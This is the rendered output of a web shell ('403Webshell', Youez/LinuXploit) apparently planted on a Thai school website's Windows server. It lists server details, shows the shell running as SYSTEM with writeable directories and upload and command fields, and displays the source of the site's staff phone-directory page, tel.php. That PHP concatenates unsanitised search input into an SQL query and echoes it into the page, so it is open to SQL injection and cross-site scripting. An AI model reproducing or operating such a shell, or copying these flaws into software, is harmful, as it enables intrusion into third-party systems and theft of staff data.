403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/udomsit/modules/user/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/udomsit/modules/user/tel.php
<div align="center">
<TABLE cellspacing="0" cellpadding="0" width="100%" height=450 border="0">
                  <tbody>
                    <tr>
                       <td align="center"vAlign=top>
<form name="form3" method="post" action="?name=user&file=tel">
  <table width=100%  border="0" align="right" cellpadding="0" cellspacing="0">
    <tr class="unnamed1">
		<td  width="60%" class="unnamed2">
		<b>
		&nbsp;&nbsp;&nbsp;สมุดโทรศัพท์
		</td>
		<td width="20%" class="unnamed2">
			<div align="right">
			<strong>ระบุชื่อที่ต้องการค้นหา</strong>
			</div>
		</td>
		<td width="15%">
			<label>
			</label>
				<input name="search" type="text" id="search" value="<?=$_GET["search"];?>">
		</td>
      <td width="5%">
        <div align="left">
          <input type="submit" name="Submit2" value="ค้นหา">
        </div></td>
    </tr>
  </table>

  <br>
  </form>
<?
//////////////////////////////////////////// แสดงรายชื่อ
if($_GET[op] == ""){
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$limit = 200 ;
$SUMPAGE = $db->num_rows(TB_user,"id"," level>3  and status='1'");
$page=$_GET[page];
if (empty($page)){
	$page=1;
}
$rt = $SUMPAGE%$limit ;
$totalpage = ($rt!=0) ? floor($SUMPAGE/$limit)+1 : floor($SUMPAGE/$limit); 
$goto = ($page-1)*$limit ;
?>
                                 <table width="100%" align="center" cellspacing="2" cellpadding="1" >
                                          <tr bgcolor="#009900" height="25">
                                            <td width="30%"><div align="center"><font color="#FFFFFF"><b>ชื่อ - นามสกุล</b></font></div></td>
											<td width="30%"><div align="center"><font color="#FFFFFF"><b>ตำแหน่ง</b></font></div></td>
											<td width="30%"><div align="center"><font color="#FFFFFF"><b>หน่วยงาน</b></font></div></td>
                                            <td width="10%"><div align="center"><font color="#FFFFFF"><b>โทรศัพท์</b></font></div></td>

                                           
                                          </tr>
     <?
	$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE  category_name like '%$search%'  and status!='2' ORDER BY sangkad,working ASC LIMIT $goto, $limit ");
	while($arr[user] = $db->fetch($res[user])){
	$res[work] = $db->select_query("SELECT * FROM ".TB_WORK_CAT." WHERE  id='".$arr[user][work]."' ");
	$arr[work] = $db->fetch($res[work]);
  if ($i%2==0) 
{
	?><tr bgcolor="#FFFFC6" class="unnamed1"><?
} else {
	?><tr bgcolor="ffffff" class="unnamed1"><?
} ?>
                                            <td>&nbsp;&raquo;&nbsp;<? echo $arr[user][category_name];?></td>
											<td><? echo $arr[user][posit];?></td>
											<td><? echo $arr[user][school];?></td>
											<td align="center"><font color=red><? echo $arr[user][tel];?></font></td>
                                          </tr>

<?
	$i++;
 } 
?>
                                        </table>
                                      </form>
                                    <?
	SplitPage($page,$totalpage,"?name=admin&file=user_cp");
	echo $ShowSumPages ;
	echo "<BR>";
	echo $ShowPages ;
	echo "<BR><BR>";
}
?>

                                  </td>
                                </tr>
                              </table>
							</td>
                          </tr>
                      </table>
          </tr>
        </tbody>
      </table>
	  
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit